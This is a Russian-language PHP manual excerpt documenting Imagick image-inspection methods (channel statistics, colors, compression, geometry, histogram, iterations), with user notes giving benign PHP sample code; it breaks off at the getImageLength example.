Channel - 'Index' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'All' :     Minima: 0     Maxima: 65535
Channel - 'Default' :     Minima: 0     Maxima: 65535


Возвращает статистику для каждого канала изображения

  • « Imagick::getImageChannelRange
  • Imagick::getImageClipMask »
  • PHP Manual
  • Imagick
  • Возвращает статистику для каждого канала изображения

Imagick::getImageChannelStatistics

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelStatistics — Возвращает статистику для каждого канала изображения

Описание

public Imagick::getImageChannelStatistics(): array

Возвращает статистику для каждого канала изображения. Статистика включает глубину канала, его минимумы и максимумы, среднее и стандартное отклонение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

holdoffhunger at gmail dot com 14-May-2012 11:19
The ImageMagick function 'getImageChannelStatistics' returns an array of arrays.  The first array has keys with values set to 0, 1, 2, 4, 8, and 32.  Each of these arrays, in turn, has five values, mean, minima, maxima, standard deviation, and depth.  A sample print_r of the array produces...

Array
(
    [0] => Array
        (
            [mean] => 0
            [minima] => 1.0E+37
            [maxima] => -1.0E-37
            [standardDeviation] => 0
            [depth] => 1
        )

    [1] => Array
        (
            [mean] => 13215.2836185
            [minima] => 0
            [maxima] => 65535
            [standardDeviation] => 19099.2202751
            [depth] => 8
        )

[etc., etc..]
}

What does each 0, 1, 2, etc., value mean for the keys?  Those are shared, evaluated values of the ImageMagick Channel Constants.  You have the channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  If you actually print out these constants, you get '0' for undefined, '1' for red, gray, and cyan, '2' for green and magenta, '4' for blue and yellow, and '8' for alpha, opacity, and matte, or '32' for black and index.  Why do multiple channels share the same evaluated integer values?  That's because they're colors from different color spaces, with Red/Green/Blue being the RGB spectrum, Cyan/Magenta/Yellow/blacK being the CMYK spectrum, etc., etc..  If you want to get the statistical result values for Cyan or Red, you'll be accessing the same channel keys.

There are five values produced for each color channel.  The element values for the keys 'mean' and 'standardDeviation' are the results from the getImageChannelMean function.  The element values for the keys 'minima' and 'maxima' are the results from the getChannelRange function.  And the element values for the key 'depth' is the result from the getImageChannelDepth function.  All of these values can be useful in terms of measuring the Channel values of a particular image.

And now, some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Create Imagick Object
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Filename to Open
        // ---------------------------------------------

    $file_to_grab_with_location = "image_workshop_directory/test.bmp";

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Statistics
        // ---------------------------------------------

    $imagick_type_channel_statistics = $imagick_type->getImageChannelStatistics();

        // Print Statistics
        // ---------------------------------------------

    print_r($imagick_type_channel_statistics);

?>


Возвращает обтравочную маску изображения

  • « Imagick::getImageChannelStatistics
  • Imagick::getImageColormapColor »
  • PHP Manual
  • Imagick
  • Возвращает обтравочную маску изображения

Imagick::getImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageClipMask — Возвращает обтравочную маску изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageClipMask(): Imagick

Возвращает обтравочную маску изображения. Обтравочнуя маска - объект Imagick, содержащий обтравочную маску. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект Imagick, содержащий обтравочную маску.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет указанного индекса палитры

  • « Imagick::getImageClipMask
  • Imagick::getImageColors »
  • PHP Manual
  • Imagick
  • Возвращает цвет указанного индекса палитры

Imagick::getImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColormapColor — Возвращает цвет указанного индекса палитры

Описание

public Imagick::getImageColormapColor(int $index): ImagickPixel

Возвращает цвет указанного индекса палитры.

Список параметров

index

Смещение в палитре изображения.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает число уникальных цветов в изображении

  • « Imagick::getImageColormapColor
  • Imagick::getImageColorspace »
  • PHP Manual
  • Imagick
  • Возвращает число уникальных цветов в изображении

Imagick::getImageColors

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColors — Возвращает число уникальных цветов в изображении

Описание

public Imagick::getImageColors(): int

Возвращает число уникальных цветов в изображении в виде целого числа (int).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

amaral dot regis at hotmail dot com 03-Apr-2018 01:27
O exemplo anterior apresentou numeros fracionados nas chaves da variavel $frequency_list_of_values:

Array
(
    [1 / 0 / 1] => 157295
    [0.83529411764706 / 0.87843137254902 / 0.82352941176471] => 1
    [0.80392156862745 / 0.84705882352941 / 0.7843137254902] => 2
    [0.8156862745098 / 0.84705882352941 / 0.78823529411765] => 1
...

Entao eu fiz uma alteracao que melhora o resultado para quem esta buscando saber quais as cores dominantes na imagem, mostrando a chave com o valor rgb exato:
<?php

        $file_to_grab_with_location = $imagepath; //caminho relativo ao arquivo de imagem

        $imagick_type = new \Imagick();

        $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
        $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        $frequency_list_of_values = array();

        $image_resolution_width = $imagick_type->getImageWidth();
        $image_resolution_height = $imagick_type->getImageHeight();

        print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        for($y = 0; $y < $image_resolution_height; $y++)
        {

            for($x = 0; $x < $image_resolution_width; $x++)
            {

                $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

                if(isset($frequency_list_of_values[$pixel_to_examine->getColorAsString()]) == TRUE)
                {
                    $temp = $frequency_list_of_values[$pixel_to_examine->getColorAsString()];
                    $temp++;
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = $temp;
                }
                else
                {
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = 1;
                }
            }

            arsort($frequency_list_of_values);
        }

        print("<pre>");
        print_r($frequency_list_of_values);
        print("</pre>");

?>

Resultado:
Image Resolution: Width - 1965 / Height - 998

Array
(
    [srgba(255,0,255,0)] => 451654
    [srgb(54,52,53)] => 281069
    [srgb(177,51,54)] => 130449
    [srgb(236,50,55)] => 64001
...

O metodo e demorado para imagens muito grandes, pois ele analisa pixel a pixel.
holdoffhunger at gmail dot com 06-Apr-2012 10:54
I've had difficulty getting this function to return the number of unique colors.  Also, I wanted to be able to have an array with each $key value being the RGB of the pixel, and each $value value being the number of times that pixel occurs.  Basically, a frequency list.  For example, you would have "1 / 0 / 0" for red as a $key value, and "25" for the number of times that pixel color was in the image.  So, I wrote some code to do that, using a combination of readImageFile, getImageWidth, getImageHeight, getImagePixelColor, and a simple x/y parser, like so :

<?php

        // Test File
        // ---------------------------------------------

            // Note: This file was just a picture of a 5x5 red square
            //    inside of a gigantic 521x512 black square, and
            //    then I did a bunch of random, yellow zigzags.

    $file_to_grab_with_location = "test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Preset Information
        // ---------------------------------------------

    $frequency_list_of_values = array();

        // Parse Pixels
        // ---------------------------------------------

    $image_resolution_width = $imagick_type->getImageWidth();
    $image_resolution_height = $imagick_type->getImageHeight();

    print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        // Parse Image Top-to-Bottom (Y-Variable)
        // ---------------------------------------------

    for($y = 0; $y < $image_resolution_height; $y++)
    {
            // Parse Image Left-to-Right (X-Variable)
            // ---------------------------------------------

        for($x = 0; $x < $image_resolution_width; $x++)
        {

                // Image Pixel Color
                // ---------------------------------------------

            $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

            $pixel_to_examine_color_value_red = $pixel_to_examine->getColorValue(imagick::COLOR_RED);
            $pixel_to_examine_color_value_green = $pixel_to_examine->getColorValue(imagick::COLOR_GREEN);
            $pixel_to_examine_color_value_blue = $pixel_to_examine->getColorValue(imagick::COLOR_BLUE);

                // Set Key Value
                // ---------------------------------------------

            $key_value =    $pixel_to_examine_color_value_red    .    " / "    .
                    $pixel_to_examine_color_value_green    .    " / "    .
                    $pixel_to_examine_color_value_blue            ;

                // Increment Array Entry for Color
                // ---------------------------------------------

            if(isset($frequency_list_of_values[$key_value]) == TRUE)
            {
                $temp = $frequency_list_of_values[$key_value];
                $temp++;
                $frequency_list_of_values[$key_value] = $temp;
            }
            else
            {
                $frequency_list_of_values[$key_value] = 1;
            }
        }
    }

        // Print Out Array of Values
        // ---------------------------------------------

    print("<pre>");
    print_r($frequency_list_of_values);
    print("</pre>");

/*

    Results:
    ------------------

Image Resolution: Width - 521 / Height - 512

Array
(
    [1 / 0 / 0] => 25
    [0 / 0 / 1] => 264107
    [1 / 1 / 0] => 2620
)

*/

?>


Возвращает цветовую палитру изображения

  • « Imagick::getImageColors
  • Imagick::getImageCompose »
  • PHP Manual
  • Imagick
  • Возвращает цветовую палитру изображения

Imagick::getImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColorspace — Возвращает цветовую палитру изображения

Описание

public Imagick::getImageColorspace(): int

Возвращает целое число, соответствующее значению одной из COLORSPACE констант.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает составной оператор, связанный с изображением

  • « Imagick::getImageColorspace
  • Imagick::getImageCompression »
  • PHP Manual
  • Imagick
  • Возвращает составной оператор, связанный с изображением

Imagick::getImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageCompose — Возвращает составной оператор, связанный с изображением

Описание

public Imagick::getImageCompose(): int

Возвращает составной оператор, связанный с изображением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий тип компрессии изображения

  • « Imagick::getImageCompose
  • Imagick::getImageCompressionQuality »
  • PHP Manual
  • Imagick
  • Возвращает текущий тип компрессии изображения

Imagick::getImageCompression

(PECL imagick 3 >= 3.3.0)

Imagick::getImageCompression — Возвращает текущий тип компрессии изображения

Описание

public Imagick::getImageCompression(): int

Возвращает текущий тип компрессии изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает константу компрессии

User Contributed Notes

Mondragon 16-Jul-2020 05:25
Example use:

$im = new Imagick("mypicture.jpg");
$ctype = $im->getImageCompression();
if($ctype == Imagick::COMPRESSION_ZIP) echo "PNG file!";
if($ctype == Imagick::COMPRESSION_JPEG) echo "JPG file!";
if($ctype == Imagick::COMPRESSION_LZW) echo "GIF file!";

All options:
COMPRESSION_UNDEFINED
COMPRESSION_NO
COMPRESSION_BZIP
COMPRESSION_FAX
COMPRESSION_GROUP4
COMPRESSION_JPEG
COMPRESSION_JPEG2000
COMPRESSION_LOSSLESSJPEG
COMPRESSION_LZW
COMPRESSION_RLE
COMPRESSION_ZIP
COMPRESSION_DXT1
COMPRESSION_DXT3
COMPRESSION_DXT5
COMPRESSION_ZIPS
COMPRESSION_PIZ
COMPRESSION_PXR24
COMPRESSION_B44
COMPRESSION_B44A
COMPRESSION_LZMA
COMPRESSION_JBIG1
COMPRESSION_JBIG2

The numbers for which those constants stand differ by version. So always use the constants.
alitrix at gmail dot com 20-Oct-2017 12:51
This function is added in version 3.3.0 and above
undoable at gmail dot com 03-Jul-2013 10:44
This function is undefined. You must use getImageCompressionQuality() instead.


Возвращает текущее качество сжатия изображения

  • « Imagick::getImageCompression
  • Imagick::getImageDelay »
  • PHP Manual
  • Imagick
  • Возвращает текущее качество сжатия изображения

Imagick::getImageCompressionQuality

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::getImageCompressionQuality — Возвращает текущее качество сжатия изображения

Описание

public Imagick::getImageCompressionQuality(): int

Получает текущее качество сжатия изображения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, описывающее сжатие изображения.

User Contributed Notes

sNniffer 14-May-2020 03:13
using

    $img = new Imagick();
    $img->readImage( $local_da_imagem );
    print_r( $img->getImageCompressionQuality() );


Возвращает задержку изображения

  • « Imagick::getImageCompressionQuality
  • Imagick::getImageDepth »
  • PHP Manual
  • Imagick
  • Возвращает задержку изображения

Imagick::getImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDelay — Возвращает задержку изображения

Описание

public Imagick::getImageDelay(): int

Возвращает задержку изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает задержку изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

ijtabahussain at live dot com 25-Jan-2015 01:27
Seems to return the image delay in centiseconds
jabaga at abv dot bg 18-Sep-2011 08:31
Here is how you can get the delay between the frames in gif file:

<?php
$animation = new Imagick("file.gif");

foreach ($animation as $frame) {
  $delay = $animation->getImageDelay();

echo $delay;
}
?>


Возвращает глубину изображения

  • « Imagick::getImageDelay
  • Imagick::getImageDispose »
  • PHP Manual
  • Imagick
  • Возвращает глубину изображения

Imagick::getImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDepth — Возвращает глубину изображения

Описание

public Imagick::getImageDepth(): int

Возвращает глубину изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Глубина изображения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метод удаления изображения

  • « Imagick::getImageDepth
  • Imagick::getImageDistortion »
  • PHP Manual
  • Imagick
  • Возвращает метод удаления изображения

Imagick::getImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDispose — Возвращает метод удаления изображения

Описание

public Imagick::getImageDispose(): int

Возвращает метод удаления изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает метод удаления изображения в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает изображение с восстановленным изображением

  • « Imagick::getImageDispose
  • Imagick::getImageExtrema »
  • PHP Manual
  • Imagick
  • Сравнивает изображение с восстановленным изображением

Imagick::getImageDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDistortion — Сравнивает изображение с восстановленным изображением

Описание

public Imagick::getImageDistortion(MagickWand $reference, int $metric): float

Сравнивает изображение с восстановленным изображением и возвращает указанный показатель искажения.

Список параметров

reference

Объект Imagick для сравнения.

metric

Одна из констант типа METRIC.

Возвращаемые значения

Возвращает показатель искажения, использованный для изображения (или его наилучшее предположение).

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает экстремумы изображения

  • « Imagick::getImageDistortion
  • Imagick::getImageFilename »
  • PHP Manual
  • Imagick
  • Возвращает экстремумы изображения

Imagick::getImageExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageExtrema — Возвращает экстремумы изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageExtrema(): array

Возвращает экстремумы изображения. Возвращает ассоциативный массив с ключами "min" и "max".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив с ключами "min" и "max".

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла конкретного изображения в последовательности

  • « Imagick::getImageExtrema
  • Imagick::getImageFormat »
  • PHP Manual
  • Imagick
  • Возвращает имя файла конкретного изображения в последовательности

Imagick::getImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFilename — Возвращает имя файла конкретного изображения в последовательности

Описание

public Imagick::getImageFilename(): string

Возвращает имя файла конкретного изображения в последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с именем файла изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает формат конкретного изображения в последовательности

  • « Imagick::getImageFilename
  • Imagick::getImageGamma »
  • PHP Manual
  • Imagick
  • Возвращает формат конкретного изображения в последовательности

Imagick::getImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFormat — Возвращает формат конкретного изображения в последовательности

Описание

public Imagick::getImageFormat(): string

Возвращает формат конкретного изображения в последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую формат изображения в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 12:49
Use Imagick::queryFormats() to get a list of possible format names that might be returned by this function.


Возвращает гамму изображения

  • « Imagick::getImageFormat
  • Imagick::getImageGeometry »
  • PHP Manual
  • Imagick
  • Возвращает гамму изображения

Imagick::getImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGamma — Возвращает гамму изображения

Описание

public Imagick::getImageGamma(): float

Возвращает гамму изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает гамму изображения в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину и высоту в виде ассоциативного массива

  • « Imagick::getImageGamma
  • Imagick::getImageGravity »
  • PHP Manual
  • Imagick
  • Возвращает ширину и высоту в виде ассоциативного массива

Imagick::getImageGeometry

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGeometry — Возвращает ширину и высоту в виде ассоциативного массива

Описание

public Imagick::getImageGeometry(): array

Возвращает ширину и высоту в виде ассоциативного массива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с шириной и высотой изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::getImageGeometry()

<?php
$imagick = new Imagick();
$imagick->newImage(100, 200, "black");
print_r($imagick->getImageGeometry());
?>

Результат выполнения данного примера:

Array
(
    [width] => 100
    [height] => 200
)

User Contributed Notes

tim at provu dot co dot uk 20-Nov-2008 07:05
Example code:

<?php
$image = new imagick($filename);

$geo=$image->getImageGeometry();

$sizex=$geo['width'];
$sizey=$geo['height'];
?>


Возвращает значение гравитации (притяжения)

  • « Imagick::getImageGeometry
  • Imagick::getImageGreenPrimary »
  • PHP Manual
  • Imagick
  • Возвращает значение гравитации (притяжения)

Imagick::getImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageGravity — Возвращает значение гравитации (притяжения)

Описание

public Imagick::getImageGravity(): int

Возвращает значение гравитации изображения. В отличие от Imagick::getGravity(), этот метод возвращает гравитацию, установленную для текущего изображения в последовательности. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение гравитации. Смотрите список констант гравитации.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первичную точку цветности зелёного

  • « Imagick::getImageGravity
  • Imagick::getImageHeight »
  • PHP Manual
  • Imagick
  • Возвращает первичную точку цветности зелёного

Imagick::getImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGreenPrimary — Возвращает первичную точку цветности зелёного

Описание

public Imagick::getImageGreenPrimary(): array

Возвращает первичную точку цветности зелёного. Возвращает массив с ключами "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив с ключами "x" и "y", случае возникновения ошибки выбрасывает исключение ImagickException.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает высоту изображения

  • « Imagick::getImageGreenPrimary
  • Imagick::getImageHistogram »
  • PHP Manual
  • Imagick
  • Возвращает высоту изображения

Imagick::getImageHeight

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHeight — Возвращает высоту изображения

Описание

public Imagick::getImageHeight(): int

Возвращает высоту изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает высоту изображения в пикселях.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

perching_eagle at yahoo dot com 04-Oct-2007 06:19
//file location c:/htdocs/rose.jpg
$image=new Imagick("c:/htdocs/rose.jpg");
$height=$image->getImageHeight();
print "the image height is ".$height;

result:
the image height is 134


Возвращает гистограмму изображения

  • « Imagick::getImageHeight
  • Imagick::getImageIndex »
  • PHP Manual
  • Imagick
  • Возвращает гистограмму изображения

Imagick::getImageHistogram

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHistogram — Возвращает гистограмму изображения

Описание

public Imagick::getImageHistogram(): array

Возвращает гистограмму изображения в виде массива объектов ImagickPixel.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает гистограмму изображения в виде массива объектов ImagickPixel.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Генерация Imagick::getImageHistogram()

<?php
function getColorStatistics($histogramElements, $colorChannel) {
$colorStatistics = [];

foreach ($histogramElements as $histogramElement) {
$color = $histogramElement->getColorValue($colorChannel);
$color = intval($color * 255);
$count = $histogramElement->getColorCount();

if (array_key_exists($color, $colorStatistics)) {
$colorStatistics[$color] += $count;
}
else {
$colorStatistics[$color] = $count;
}
}

ksort($colorStatistics);

return $colorStatistics;
}

function getImageHistogram($imagePath) {

$backgroundColor = 'black';

$draw = new \ImagickDraw();
$draw->setStrokeWidth(0); // делает линии маскимально тонкими

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

$histogramWidth = 256;
$histogramHeight = 100; // высота для каждого сегмента RGB

$imagick = new \Imagick(realpath($imagePath));
//Измените размер изображения, чтобы он был маленьким, иначе PHP может не хватить памяти
//Это может привести к плохим результатам для изображений, которые являются патологически "пиксельными"
$imagick->adaptiveResizeImage(200, 200, true);
$histogramElements = $imagick->getImageHistogram();

$histogram = new \Imagick();
$histogram->newpseudoimage($histogramWidth, $histogramHeight * 3, 'xc:black');
$histogram->setImageFormat('png');

$getMax = function ($carry, $item) {
if ($item > $carry) {
return $item;
}
return $carry;
};

$colorValues = [
'red' => getColorStatistics($histogramElements, \Imagick::COLOR_RED),
'lime' => getColorStatistics($histogramElements, \Imagick::COLOR_GREEN),
'blue' => getColorStatistics($histogramElements, \Imagick::COLOR_BLUE),
];

$max = array_reduce($colorValues['red'] , $getMax, 0);
$max = array_reduce($colorValues['lime'] , $getMax, $max);
$max = array_reduce($colorValues['blue'] , $getMax, $max);

$scale = $histogramHeight / $max;

$count = 0;
foreach ($colorValues as $color => $values) {
$draw->setstrokecolor($color);

$offset = ($count + 1) * $histogramHeight;

foreach ($values as $index => $value) {
$draw->line($index, $offset, $index, $offset - ($value * $scale));
}
$count++;
}

$histogram->drawImage($draw);

header( "Content-Type: image/png" );
echo $histogram;
}

?>

User Contributed Notes

Iddles 20-Jun-2011 04:02
Scratched my head for a while trying to figure out why this only returned a list of coloured pixels, and seemingly no colour count. Well it turns out that for some reason, the ImagickPixel class has a "getColorCount" method, which seems a strange place for it but hey.

<?php
$image = new Imagick("thing.png");
$pixels=$image->getImageHistogram();
foreach($pixels as $p){
 $colors = $p->getColor();
 foreach($colors as $c){
        print( "$c\t" );
 }
 print( "\t:\t" . $p->getColorCount() . "\n" );
}
?>

This will print out something like:

252    250    252    1    :    125
194    156    182    1    :    126
109    18    79    1    :    11440
2    117    162    1    :    12761
255    255    255    1    :    40769

...where the colums are red, green, blue, alpha, followed by the number of times that colour appears in the image.


Возвращает индекс текущего активного изображения

  • « Imagick::getImageHistogram
  • Imagick::getImageInterlaceScheme »
  • PHP Manual
  • Imagick
  • Возвращает индекс текущего активного изображения

Imagick::getImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIndex — Возвращает индекс текущего активного изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageIndex(): int

Возвращает индекс текущего активного изображения в объекте Imagick. Этот метод объявлен устаревшим. Используйте Imagick::getIteratorIndex().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, содержащее индекс изображения в стеке.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает схему чересстрочного изображения

  • « Imagick::getImageIndex
  • Imagick::getImageInterpolateMethod »
  • PHP Manual
  • Imagick
  • Получает схему чересстрочного изображения

Imagick::getImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterlaceScheme — Получает схему чересстрочного изображения

Описание

public Imagick::getImageInterlaceScheme(): int

Получает схему чересстрочного изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает схему чередования как целое число. Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 13-Mar-2013 01:59
Image Interlacing is simply combining two images by layering one over the other with a certain opacity (usually 50%).  The intention is to use the image in video, so that two images are displayed within one single frame, thereby doubling the frames-per-second without doubling the actual, physical amount of frames.  Wikipedia provides a fairly decent explanation of this type of video technology: http://en.wikipedia.org/wiki/Interlaced_video .

Best Description :
http://www.100fps.com/

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


Возвращает метод интерполяции

  • « Imagick::getImageInterlaceScheme
  • Imagick::getImageIterations »
  • PHP Manual
  • Imagick
  • Возвращает метод интерполяции

Imagick::getImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterpolateMethod — Возвращает метод интерполяции

Описание

public Imagick::getImageInterpolateMethod(): int

Возвращает метод интерполяции для указанного изображения. Метод является одной из констант Imagick::INTERPOLATE_*.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает метод интерполяции в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итерации изображения

  • « Imagick::getImageInterpolateMethod
  • Imagick::getImageLength »
  • PHP Manual
  • Imagick
  • Возвращает итерации изображения

Imagick::getImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIterations — Возвращает итерации изображения

Описание

public Imagick::getImageIterations(): int

Возвращает итерации изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает итерации изображения в виде целого числа.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

admin at zasmeshi dot ru 14-Dec-2016 12:57
If you want get the number of the animation (GIF) frames you need to use Imagick::getNumberImages()
holdoffhunger at gmail dot com 26-May-2012 11:22
By using the PHP function getImageIterations, you'll receive back a value indicating the animated nature of the image.  You'll get back a '0' for a still image that is not animated (like a .BMP or a .JPEG file) and a '1' for an animated image (like an animated .GIF file).

I have been unable to get any other results from this function, after extensive use.  There is some discussion among the ImageMagick user's group saying that the Iterations should indicate the number of times an animated .Gif file repeats itself.  However, it's possible that either modern browsers default the value to infinity or that this ImageMagick functionality is only available at the Linux command-line.  See more at the discussion group here: http://studio.imagemagick.org/pipermail/magick-users/2002-October/005814.html

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Iterations
        //    (Detect Animated Image Versus Non-Animated Image)
        // ---------------------------------------------

    $image_iterations = $imagick_type->getImageIterations();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    if($image_iterations == 1)
    {
        print("$file_to_grab *IS* an animated image.");
    }
    else
    {
        print("$file_to_grab *IS NOT* an animated image.");
    }

?>


Возвращает длину изображения в байтах

  • « Imagick::getImageIterations
  • Imagick::getImageMatte »
  • PHP Manual
  • Imagick
  • Возвращает длину изображения в байтах

Imagick::getImageLength

(PECL imagick 2, PECL imagick 3)

Imagick::getImageLength — Возвращает длину изображения в байтах

Описание

public Imagick::getImageLength(): int

Возвращает длину изображения в байтах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, содержащее текущий размер изображения.

Примеры

Пример #1 Пример использования Imagick::getImageLength():

Получение длины изображения в байтах

<?php
